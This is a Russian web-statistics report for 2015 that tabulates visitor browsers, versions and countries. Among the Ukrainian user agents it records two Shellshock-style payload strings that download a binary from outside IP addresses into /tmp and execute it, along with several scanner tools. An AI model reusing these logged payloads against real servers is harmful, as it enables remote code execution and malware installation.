Отчет для 2015: Браузеры
Период отчета:  
Отчет создан в Пн Дек 12, 2016 - 21:45:03

Браузеры

Использование браузеров по дням


Наиболее используемые браузеры


Наиболее используемые браузеры
Браузер Хиты Посетители % от всех посетителей
1 Google Chrome 129 568 16 054 36,68%
2 Internet Explorer 72 899 7 251 16,57%
3 Firefox 62 240 5 903 13,49%
4 Другие 47 497 4 855 11,09%
5 Opera 55 328 4 851 11,08%
6 Mobile Safari 15 267 1 080 2,47%
7 Android Browser 6 275 720 1,64%
8 NerdyBot 238 238 0,54%
9 Safari 1 045 221 0,50%
10 MobileSafari/9537.53 CFNetwork/672.1.13 Darwin/14.0.0 448 140 0,32%
11 masscan/1.0 (https://github.com/robertdavidgraham/masscan) 115 115 0,26%
12 Microsoft Edge 2 964 106 0,24%
13 Mozilla/5.0 zgrab/0.x 92 92 0,21%
14 Microsearch.ru Bot 1.3;http://microsearch.ru/webmasters 59 59 0,13%
15 Mozilla/5.0 55 47 0,11%
16 microsearch.ru Bot 1.4;http://microsearch.ru/webmasters 54 46 0,11%
17 Mozilla/5.0 (compatible; MegaIndex.ru/2.0; +https://www.megaindex.ru/?tab=linkAnalyze) 6 673 46 0,11%
18 Ruby 45 45 0,10%
19 Mozilla/5.0 (compatible; statdom.ru/Bot; +http://statdom.ru/bot.html) 90 45 0,10%
20 Morfeus Fucking Scanner 45 45 0,10%
21 Telesphoreo 40 40 0,09%
22 WebIndex 195 37 0,08%
23 YahooCacheSystem; YahooWebServiceClient 34 32 0,07%
24 Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) PhantomJS/1.10.0 (development) Safari/534.34 62 31 0,07%
25 Python-urllib/2.7 92 30 0,07%
26 the beast 30 30 0,07%
27 Microsoft-WebDAV-MiniRedir/5.1.2600 221 29 0,07%
28 Apache-HttpClient/4.1.2 (java 1.5) 229 29 0,07%
29 Mozilla/5.0 (compatible; openstat.ru/Bot) 243 28 0,06%
30 x00_-gawa.sa.pilipinas.2015 162 28 0,06%
31 Mozilla/4.0 (compatible; Synapse) 57 25 0,06%
32 Google favicon 32 24 0,05%
33 Mozilla/5.0 (compatible; spbot/4.4.2; +http://OpenLinkProfiler.org/bot ) 13 553 24 0,05%
34 Lynx 681 24 0,05%
35 netscan.gtisc.gatech.edu 23 23 0,05%
36 Mozilla/3.0 (compatible; Indy Library) 23 23 0,05%
37 Mozilla/5.0 (compatible; Add Catalog/2.1;) 63 21 0,05%
38 Python-urllib/2.6 119 20 0,05%
39 Mozilla/5.0 (compatible; DuckDuckGo-Favicons-Bot/1.0; +http://duckduckgo.com) 21 20 0,05%
40 Wget 70 20 0,05%
41 OdklBot/1.0 (share@odnoklassniki.ru) 19 19 0,04%
42 Java/1.8.0_45 18 18 0,04%
43 Mozilla/5.0 (compatible; SearchmetricsBot; http://www.searchmetrics.com/en/searchmetrics-bot/) 368 18 0,04%
44 Mozilla/3.0 (compatible; WebCapture 2.0; Auto; Windows) 50 18 0,04%
45 Mozilla/4.76 [en] (Windows NT 5.0; U) 46 18 0,04%
46 Mozilla/0.6 Beta (Windows) 47 18 0,04%
47 WEBDAV Client 17 17 0,04%
48 ZmEu 191 16 0,04%
49 Mozilla/4.7 (compatible; OffByOne; Windows 2000) Webster Pro V3.4 40 16 0,04%
50 visionutils/0.2 18 15 0,03%
Итого 417 761 42 670 97,48%
Всего 427 830 43 773 100,00%


 

IE and Edge Versions

Daily Internet Explorer and Microsoft Edge Versions


Internet Explorer and Microsoft Edge Versions


Internet Explorer and Microsoft Edge Versions
Браузер Хиты Посетители % от всех посетителей
1 Internet Explorer 11.x 36 775 2 948 40,07%
2 Internet Explorer 8.x 18 398 1 729 23,50%
3 Internet Explorer 6.x 3 497 1 185 16,11%
4 Internet Explorer 10.x 7 192 725 9,85%
5 Internet Explorer 9.x 2 981 326 4,43%
6 Internet Explorer 5.x 406 148 2,01%
7 Internet Explorer 7.x 3 470 117 1,59%
8 Microsoft Edge 12.x 2 950 98 1,33%
9 Internet Explorer 4.x 53 32 0,43%
10 Internet Explorer 2.x 89 27 0,37%
11 Internet Explorer 3.x 38 14 0,19%
12 Microsoft Edge 13.x 14 8 0,11%
Всего 75 863 7 357 100,00%


 

Версии Firefox

Использование версий Firefox по дням


Версии Firefox


Версии Firefox
Браузер Хиты Посетители % от всех посетителей
1 Firefox 31.0.x 693 616 10,44%
2 Firefox 37.0.x 8 085 578 9,79%
3 Firefox 40.0.x 5 637 536 9,08%
4 Firefox 42.0.x 6 720 491 8,32%
5 Firefox 9.0.x 1 546 445 7,54%
6 Firefox 38.0.x 6 249 430 7,28%
7 Firefox 36.0.x 10 034 371 6,28%
8 Firefox 41.0.x 2 780 359 6,08%
9 Firefox 39.0.x 3 047 338 5,73%
10 Firefox 35.0.x 5 128 276 4,68%
11 Firefox 18.0.x 299 144 2,44%
12 Firefox 34.0.x 2 660 133 2,25%
13 Firefox 3.0.x 125 108 1,83%
14 Firefox 3.6.x 436 86 1,46%
15 Firefox 6.0.x 90 84 1,42%
16 Firefox 43.0.x 1 630 78 1,32%
17 Firefox 33.0.x 1 365 58 0,98%
18 Firefox 21.0.x 80 52 0,88%
19 Firefox 5.0.x 104 47 0,80%
20 Firefox 8.0.x 297 46 0,78%
21 Firefox 4.0.x 121 44 0,75%
22 Firefox 14.0.x 170 40 0,68%
23 Firefox 25.0.x 315 40 0,68%
24 Firefox 12.0.x 91 39 0,66%
25 Firefox 2.0.x 200 38 0,64%
26 Firefox 26.0.x 47 36 0,61%
27 Firefox 23.0.x 52 33 0,56%
28 Firefox 32.0.x 130 30 0,51%
29 Firefox 29.0.x 1 573 30 0,51%
30 Firefox 11.0.x 32 28 0,47%
31 Firefox 19.0.x 63 28 0,47%
32 Firefox 3.5.x 29 28 0,47%
33 Firefox 17.0.x 635 26 0,44%
34 Firefox 27.0.x 46 21 0,36%
35 Firefox 22.0.x 22 20 0,34%
36 Firefox 24.0.x 60 20 0,34%
37 Firefox 30.0.x 27 18 0,30%
38 Firefox 28.0.x 307 15 0,25%
39 Firefox 10.0.x 71 14 0,24%
40 Firefox 1.0.x 25 14 0,24%
41 Firefox 13.0.x 16 14 0,24%
42 Firefox 20.0.x 608 12 0,20%
43 Firefox 16.0.x 237 12 0,20%
44 Firefox 7.0.x 336 9 0,15%
45 Firefox 3.1.x 5 5 0,08%
46 Firefox 15.0.x 6 5 0,08%
47 Firefox 2 2 0,03%
48 Firefox 40.1.x 2 2 0,03%
49 Firefox 3.8.x 1 1 0,02%
50 Firefox 3 4 1 0,02%
Итого 62 238 5 901 99,97%
Всего 62 240 5 903 100,00%


 

Версии Chrome

Использование версий Google Chrome по дням


Версии Google Chrome


Версии Google Chrome
Браузер Хиты Посетители % от всех посетителей
1 Google Chrome 40.0.x 21 848 2 164 13,48%
2 Google Chrome 43.0.x 13 870 2 015 12,55%
3 Google Chrome 42.0.x 13 262 1 840 11,46%
4 Google Chrome 45.0.x 10 493 1 791 11,16%
5 Google Chrome 41.0.x 12 251 1 569 9,77%
6 Google Chrome 44.0.x 8 230 1 402 8,73%
7 Google Chrome 46.0.x 10 699 1 195 7,44%
8 Google Chrome 38.0.x 8 614 613 3,82%
9 Google Chrome 36.0.x 2 168 512 3,19%
10 Google Chrome 47.0.x 3 709 464 2,89%
11 Google Chrome 39.0.x 6 110 410 2,55%
12 Google Chrome 30.0.x 1 246 358 2,23%
13 Google Chrome 37.0.x 1 644 304 1,89%
14 Google Chrome 32.0.x 2 075 214 1,33%
15 Google Chrome 28.0.x 2 021 177 1,10%
16 Google Chrome 35.0.x 222 110 0,69%
17 Google Chrome 31.0.x 470 92 0,57%
18 Google Chrome 33.0.x 124 88 0,55%
19 Google Chrome 23.0.x 161 73 0,45%
20 Google Chrome 34.0.x 723 73 0,45%
21 Google Chrome 24.0.x 1 536 50 0,31%
22 Google Chrome 22.0.x 127 46 0,29%
23 Google Chrome 27.0.x 204 42 0,26%
24 Google Chrome 26.0.x 52 39 0,24%
25 Google Chrome 25.0.x 272 37 0,23%
26 Google Chrome 29.0.x 52 33 0,21%
27 Google Chrome 19.0.x 138 33 0,21%
28 Google Chrome 18.0.x 156 32 0,20%
29 Google Chrome 11.0.x 1 003 31 0,19%
30 Google Chrome 5.0.x 32 30 0,19%
31 Google Chrome 17.0.x 61 29 0,18%
32 Google Chrome 15.0.x 163 23 0,14%
33 Google Chrome 13.0.x 24 20 0,12%
34 Google Chrome 10.0.x 22 19 0,12%
35 Google Chrome 12.0.x 27 18 0,11%
36 Google Chrome 48.0.x 17 15 0,09%
37 Google Chrome 8.0.x 70 13 0,08%
38 Google Chrome 28.1.x 11 10 0,06%
39 Google Chrome 20.0.x 77 10 0,06%
40 Google Chrome 14.0.x 12 10 0,06%
41 Google Chrome 19.1.x 1 301 8 0,05%
42 Google Chrome 21.0.x 8 6 0,04%
43 Google Chrome 9.0.x 25 6 0,04%
44 Google Chrome 49.0.x 1 249 6 0,04%
45 Google Chrome 31.1.x 546 4 0,02%
46 Google Chrome 16.0.x 5 4 0,02%
47 Google Chrome 4.0.x 3 3 0,02%
48 Google Chrome 6.0.x 12 2 0,01%
49 Google Chrome 39.6.x 4 2 0,01%
50 Google Chrome 3.0.x 2 409 2 0,01%
Итого 129 558 16 047 99,96%
Всего 129 568 16 054 100,00%


 

Версии Opera

Использование версий Opera по дням


Версии Opera


Версии Opera
Браузер Хиты Посетители % от всех посетителей
1 Opera 12.1.x 23 039 1 110 22,88%
2 Opera 28.0.x 5 013 549 11,32%
3 Opera 32.0.x 3 277 405 8,35%
4 Opera 29.0.x 1 464 401 8,27%
5 Opera 31.0.x 2 383 384 7,92%
6 Opera 30.0.x 3 515 384 7,92%
7 Opera 33.0.x 1 874 364 7,50%
8 Opera 27.0.x 6 642 193 3,98%
9 Opera 34.0.x 1 580 178 3,67%
10 Opera 11.1.x 787 125 2,58%
11 Opera 26.0.x 3 090 123 2,54%
12 Opera 8.0.x 279 102 2,10%
13 Opera 9.0.x 296 99 2,04%
14 Opera 12.0.x 194 50 1,03%
15 Opera 7.0.x 123 42 0,87%
16 Opera 23.0.x 67 37 0,76%
17 Opera 7.5.x 86 32 0,66%
18 Opera 6.0.x 86 31 0,64%
19 Opera 7.1.x 83 29 0,60%
20 Opera 11.6.x 85 28 0,58%
21 Opera 20.0.x 139 28 0,58%
22 Opera 18.0.x 100 23 0,47%
23 Opera 25.0.x 56 21 0,43%
24 Opera 7.6.x 37 12 0,25%
25 Opera 8.5.x 32 11 0,23%
26 Opera 19.0.x 131 11 0,23%
27 Opera 22.0.x 97 11 0,23%
28 Opera 24.0.x 17 11 0,23%
29 Opera 16.0.x 122 10 0,21%
30 Opera 11.5.x 548 8 0,16%
31 Opera 21.0.x 10 8 0,16%
32 Opera 10.1.x 13 5 0,10%
33 Opera 11.0.x 5 4 0,08%
34 Opera 10.6.x 5 4 0,08%
35 Opera 9.2.x 23 3 0,06%
36 Opera 9.6.x 15 3 0,06%
37 Opera 17.0.x 2 2 0,04%
38 Opera 9.5.x 2 2 0,04%
39 Opera 15.0.x 4 2 0,04%
40 Opera 10.5.x 2 2 0,04%
41 Opera 7.2.x 1 1 0,02%
42 Opera 12.5.x 2 1 0,02%
43 Opera 10.0.x 1 1 0,02%
44 Opera 1 1 0,02%
Всего 55 328 4 851 100,00%


 

Браузеры и страны

Браузеры и страны
Браузер Хиты Посетители % от всех посетителей
Россия
1 Google Chrome 109 491 12 334 43,62%
2 Internet Explorer 58 029 4 601 16,27%
3 Firefox 54 413 3 502 12,39%
4 Opera 45 698 3 244 11,47%
5 Другие 37 716 2 060 7,29%
6 Mobile Safari 13 723 911 3,22%
7 Android Browser 5 669 482 1,70%
8 Safari 821 157 0,56%
9 MobileSafari/9537.53 CFNetwork/672.1.13 Darwin/14.0.0 448 140 0,50%
10 Microsoft Edge 2 943 97 0,34%
11 Mozilla/5.0 (compatible; statdom.ru/Bot; +http://statdom.ru/bot.html) 90 45 0,16%
12 WebIndex 195 37 0,13%
13 Mozilla/5.0 (compatible; Add Catalog/2.1;) 63 21 0,07%
14 OdklBot/1.0 (share@odnoklassniki.ru) 19 19 0,07%
15 Python-urllib/2.7 18 17 0,06%
16 Python-urllib/2.6 114 15 0,05%
17 Mozilla/5.0 (compatible; openstat.ru/Bot) 104 14 0,05%
18 x00_-gawa.sa.pilipinas.2015 86 14 0,05%
19 Mozilla/5.0 (compatible; StatOnlineRuBot/1.0) 13 13 0,05%
20 Python-urllib/3.2 12 12 0,04%
21 Mozilla/5.0 (compatible; vkShare; +http://vk.com/dev/Share) 14 11 0,04%
22 Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/) 385 11 0,04%
23 Safari/11601.2.7.2 CFNetwork/760.1.2 Darwin/15.0.0 (x86_64) 50 10 0,04%
24 Gecko/2008070208 10 10 0,04%
25 Mozilla/5.0 (compatible; U; AnyEvent-HTTP/2.21; +http://software.schmorp.de/pkg/AnyEvent) 13 10 0,04%
26 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.7 (KHTML, like Gecko) 10 10 0,04%
27 DialogSearch.com Bot 1.4;http://dialogsearch.com/webmasters 16 8 0,03%
28 Mozilla/5.0 (compatible; Mail.RU/2.0c) 80 8 0,03%
29 Mozilla/5.0 (iPad; CPU OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) YaBrowser/15.4.2272.3000.11 Mobile/12F69 Safari/600.1.4 491 8 0,03%
30 Mozilla/5.0 (iPhone; CPU iPhone OS 8_1_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/5.1.42378 Mobile/12B440 Safari/600.1.4 10 8 0,03%
31 Mozilla/5.0 (iPhone; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/6.0.51363 Mobile/12H143 Safari/600.1.4 8 7 0,02%
32 Mozilla/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/6.0.51363 Mobile/12F70 Safari/600.1.4 8 7 0,02%
33 Mozilla/5.0 (iPhone; CPU iPhone OS 8_1_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/5.2.43972 Mobile/12B466 Safari/600.1.4 10 7 0,02%
34 Mozilla/3.0 (compatible; Indy Library) 7 7 0,02%
35 Mozilla/5.0 (X11; U; Linux; ru-RU) AppleWebKit/532.4 (KHTML, like Gecko) Qt/4.6.3 Safari/532.4 7 7 0,02%
36 Mozilla/4.0 (compatible; Synapse) 13 6 0,02%
37 MobileSafari/9537.53 CFNetwork/672.1.14 Darwin/14.0.0 34 6 0,02%
38 Mozilla/5.0 (iPhone; CPU iPhone OS 9_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/9.0.60246 Mobile/13B143 Safari/600.1.4 13 5 0,02%
39 Mozilla/5.0 (iPhone; CPU iPhone OS 8_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/5.2.43972 Mobile/12D508 Safari/600.1.4 7 5 0,02%
40 Safari/11601.3.9 CFNetwork/760.2.6 Darwin/15.2.0 (x86_64) 27 5 0,02%
41 C-T bot 5 5 0,02%
42 Mozilla/5.0 (iPhone; CPU iPhone OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/7.0.55539 Mobile/12H321 Safari/600.1.4 7 4 0,01%
43 Mozilla/5.0 (iPhone; CPU iPhone OS 9_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/10.0.63022 Mobile/13B143 Safari/600.1.4 4 4 0,01%
44 Microsoft Office Protocol Discovery 4 4 0,01%
45 Mozilla/5.0 (Linux; U; Android 4.2.1; zh-cn; TCL J620 Build/JOP40D) AppleWebKit/534.30 (KHTML, like Gecko) Versio/4.0 Mobile Safari/534.30 28 4 0,01%
46 Mozilla/5.0 (X11; U; Linux x86_64; ru-RU) AppleWebKit/533.3 (KHTML, like Gecko) Qt/4.7.4 Safari/533.3 4 4 0,01%
47 Mozilla/5.0 (compatible; SputnikImageBot/2.3; +http://corp.sputnik.ru/webmaster) 4 4 0,01%
48 Mozilla/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/5.2.43972 Mobile/12F70 Safari/600.1.4 5 4 0,01%
49 Mozilla/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) YaBrowser/15.4.2272.2750.10 Mobile/12F70 Safari/600.1.4 6 4 0,01%
50 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.56 (KHTML, like Gecko) 4 4 0,01%
Украина
1 Internet Explorer 5 417 1 239 29,38%
2 Google Chrome 4 435 1 177 27,91%
3 Opera 2 563 872 20,68%
4 Firefox 2 338 523 12,40%
5 Другие 172 120 2,85%
6 Android Browser 137 47 1,11%
7 Mobile Safari 91 46 1,09%
8 Mozilla/4.76 [en] (Windows NT 5.0; U) 46 18 0,43%
9 Mozilla/0.6 Beta (Windows) 47 18 0,43%
10 Mozilla/3.0 (compatible; WebCapture 2.0; Auto; Windows) 48 17 0,40%
11 Mozilla/4.7 (compatible; OffByOne; Windows 2000) Webster Pro V3.4 40 16 0,38%
12 Mozilla/4.61 [en] (X11; U; ) - BrowseX (2.0.0 Windows) 40 14 0,33%
13 Mozilla/3.0 (x86 [en] Windows NT 5.1; Sun) 36 13 0,31%
14 Mozilla/0.91 Beta (Windows) 31 12 0,28%
15 okhttp/2.3.0 23 10 0,24%
16 Mozilla/3.0 (compatible; Indy Library) 9 9 0,21%
17 Safari 117 7 0,17%
18 Mozilla/4.79 [en] (Windows NT 5.0; U) 20 7 0,17%
19 Mozilla/4.0 (compatible; Synapse) 21 6 0,14%
20 Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Mobile/9B206 18 4 0,09%
21 Mozilla/5.0 (compatible; U; AnyEvent-HTTP/2.21; +http://software.schmorp.de/pkg/AnyEvent) 4 4 0,09%
22 Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;) 4 4 0,09%
23 Microsoft Edge 3 3 0,07%
24 Mozilla/5.1 (compatible; MediaBot/1.1.9; +http://downloadg5.com) 8 2 0,05%
25 Go 1.1 package http 2 2 0,05%
26 Mozilla/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/9.0.60246 Mobile/12F70 Safari/600.1.4 2 1 0,02%
27 Mozilla/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/5.4.49956 Mobile/12F70 Safari/600.1.4 1 1 0,02%
28 Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) GSA/4.2.2.38484 Mobile/11D257 Safari/9537.53 1 1 0,02%
29 Mozilla/5.0 (iPhone; CPU iPhone OS 8_1_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Mobile/12B466 2 1 0,02%
30 Mozilla/5.0 (iPhone; CPU iPhone OS 8_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/5.2.43972 Mobile/12D508 Safari/600.1.4 1 1 0,02%
31 Mozilla/5.0 Jorgee 101 1 0,02%
32 SAMSUNG-GT-S5610/S5610XXLF4 NetFront/4.1 Profile/MIDP-2.0 Configuration/CLDC-1.1 1 1 0,02%
33 Konqueror 1 1 0,02%
34 ZmEu 84 1 0,02%
35 Mozilla/5.1 (compatible; MediaBot/1.1.1; +http://g5files.net) 4 1 0,02%
36 Mozilla/5.1 (compatible; MediaBot/1.1.8; +http://get4dl.net) 4 1 0,02%
37 () { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!";system("wget http://192.52.166.113/mysqld -O /tmp/mysqld;curl -O /tmp/mysqld http://192.52.166.113/mysqld;chmod 777 /tmp/mysqld;/tmp/mysqld;");' 31 1 0,02%
38 Mozilla/5.0 (iPad; CPU OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) YaBrowser/15.4.2272.3000.11 Mobile/12F69 Safari/600.1.4 1 1 0,02%
39 () { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!";system("wget http://212.56.214.209/mysqld -O /tmp/mysqld;curl -O /tmp/mysqld http://212.56.214.209/mysqld;chmod 777 /tmp/mysqld;/tmp/mysqld;");' 31 1 0,02%
40 Dalvik/1.6.0 (Linux; U; Android 4.4.2; LG-V700 Build/KOT49I.A1403851714) 1 1 0,02%
41 Mozilla/5.0 1 1 0,02%
42 AndroidDownloadManager 8 1 0,02%
43 AndroidDownloadManager/4.2.2 (Linux; U; Android 4.2.2; FP-101X Build/JDQ39) 1 1 0,02%
44 Mozilla/2.0 1 1 0,02%
45 Dalvik/1.6.0 (Linux; U; Android 4.2.2; GT-P3100 Build/JDQ39) 2 1 0,02%
46 Mozilla/5.0 (iPad; CPU OS 8_1_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Mobile/12B466 4 1 0,02%
47 Mozilla/5.0 (iPad; CPU OS 8_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/8.0.57838 Mobile/12D508 Safari/600.1.4 1 1 0,02%
48 Mozilla/5.0 (iPad; CPU OS 8_3 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) GSA/4.2.2.38484 Mobile/12F69 Safari/9537.53 1 1 0,02%
49 Mozilla/5.0 (iPad; CPU OS 8_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) GSA/4.2.2.38484 Mobile/12B410 Safari/9537.53 1 1 0,02%
50 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ru-ru) AppleWebKit/419.3 (KHTML, like Gecko) Safari/419.3 1 1 0,02%
США
1 Firefox 864 503 20,62%
2 Другие 3 388 500 20,50%
3 Google Chrome 695 318 13,04%
4 Internet Explorer 831 283 11,60%
5 NerdyBot 238 238 9,76%
6 Mozilla/5.0 zgrab/0.x 76 76 3,12%
7 microsearch.ru Bot 1.4;http://microsearch.ru/webmasters 54 46 1,89%
8 Telesphoreo 40 40 1,64%
9 YahooCacheSystem; YahooWebServiceClient 34 32 1,31%
10 Microsearch.ru Bot 1.3;http://microsearch.ru/webmasters 24 24 0,98%
11 Mozilla/5.0 (compatible; spbot/4.4.2; +http://OpenLinkProfiler.org/bot ) 13 553 24 0,98%
12 netscan.gtisc.gatech.edu 23 23 0,94%
13 Mobile Safari 24 23 0,94%
14 Mozilla/5.0 (compatible; DuckDuckGo-Favicons-Bot/1.0; +http://duckduckgo.com) 21 20 0,82%
15 masscan/1.0 (https://github.com/robertdavidgraham/masscan) 18 18 0,74%
16 Opera 26 18 0,74%
17 Java/1.8.0_45 17 17 0,70%
18 visionutils/0.2 18 15 0,62%
19 Google favicon 18 13 0,53%
20 Cloud mapping experiment. Contact research@pdrlabs.net 12 12 0,49%
21 BlackBerry9000/4.6.0.167 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/102 ips-agent 16 10 0,41%
22 WEBDAV Client 8 8 0,33%
23 Mozilla/5.0 (Windows NT 5.1) 7 7 0,29%
24 Mozilla/4.0 (compatible; Synapse) 9 7 0,29%
25 ZmEu 48 7 0,29%
26 Mozilla/5.0 Project 25499 (project25499.com) 6 6 0,25%
27 Mozilla/5.0 (X11; Linux x86_64) 6 6 0,25%
28 Python-urllib/3.4 6 6 0,25%
29 Safari 8 6 0,25%
30 Microsearch.ru Bot 1.4;http://microsearch.ru/webmasters 10 5 0,21%
31 Lynx 154 5 0,21%
32 Mozilla 95 5 0,21%
33 StatsInfo 5 5 0,21%
34 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) Qt/4.8.2 44 5 0,21%
35 rogerbot/1.0 (http://moz.com/help/pro/what-is-rogerbot-, rogerbot-wherecat@moz.com) 40 4 0,16%
36 Ruby 4 4 0,16%
37 the beast 4 4 0,16%
38 panscient.com 58 4 0,16%
39 Mozilla/5.0 (compatible; Nmap Scripting Engine; http://nmap.org/book/nse.html) 4 4 0,16%
40 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) 12 3 0,12%
41 Mozilla/5.0 5 3 0,12%
42 Python-urllib/2.7 33 3 0,12%
43 ContextAd Bot 1.0 3 3 0,12%
44 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) Qt/4.8.1 Safari/534.34 5 3 0,12%
45 Gecko/20041027 Mnenhy/0.6.0.104 3 3 0,12%
46 Go 1.1 package http 4 3 0,12%
47 domainsbot (+http://www.domainsbot.com) 3 3 0,12%
48 Android Browser 12 2 0,08%
49 Apache-HttpClient/4.3.5 (java 1.5) 2 2 0,08%
50 Plesk 2 2 0,08%
Нет данных
1 Google Chrome 9 112 447 34,41%
2 Opera 5 076 302 23,25%
3 Internet Explorer 3 453 260 20,02%
4 Firefox 1 576 116 8,93%
5 Другие 125 66 5,08%
6 Mobile Safari 1 174 35 2,69%
7 Microsoft-WebDAV-MiniRedir/5.1.2600 221 29 2,23%
8 Android Browser 53 18 1,39%
9 Google favicon 14 11 0,85%
10 Safari 39 3 0,23%
11 Microsoft Edge 2 2 0,15%
12 Mozilla/5.0 (iPhone; CPU iPhone OS 9_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/10.0.63022 Mobile/13B143 Safari/600.1.4 1 1 0,08%
13 Mozilla/5.0 (iPhone; CPU iPhone OS 8_1_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Coast/4.21.91399 Mobile/12B435 Safari/7534.48.3 2 1 0,08%
14 Opera%20Coast/4.21.91399 CFNetwork/711.1.16 Darwin/14.0.0 3 1 0,08%
15 masspoem4u/1.0 1 1 0,08%
16 MobileSafari/601.1 CFNetwork/758.2.8 Darwin/15.0.0 6 1 0,08%
17 MobileSafari/601.1 CFNetwork/758.1.6 Darwin/15.0.0 6 1 0,08%
18 MobileSafari/600.1.4 CFNetwork/711.2.23 Darwin/14.0.0 6 1 0,08%
19 Mozilla/5.0 (iPad; CPU OS 9_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) OPiOS/12.0.0.98100 Mobile/13B143 Safari/9537.53 1 1 0,08%
20 Mozilla/5.0 (iPad; CPU OS 9_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) YaBrowser/15.10.2454.3114.11 Mobile/13B143 Safari/600.1.4 2 1 0,08%
21 Mozilla/5.0 (iPad; CPU OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) OPiOS/10.0.1.90729 Mobile/12F69 Safari/9537.53 1 1 0,08%
Китай
1 Другие 823 266 29,95%
2 Google Chrome 1 185 162 18,24%
3 Android Browser 117 101 11,37%
4 Firefox 100 92 10,36%
5 Internet Explorer 313 81 9,12%
6 masscan/1.0 (https://github.com/robertdavidgraham/masscan) 73 73 8,22%
7 Mozilla/5.0 37 32 3,60%
8 Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) PhantomJS/1.10.0 (development) Safari/534.34 62 31 3,49%
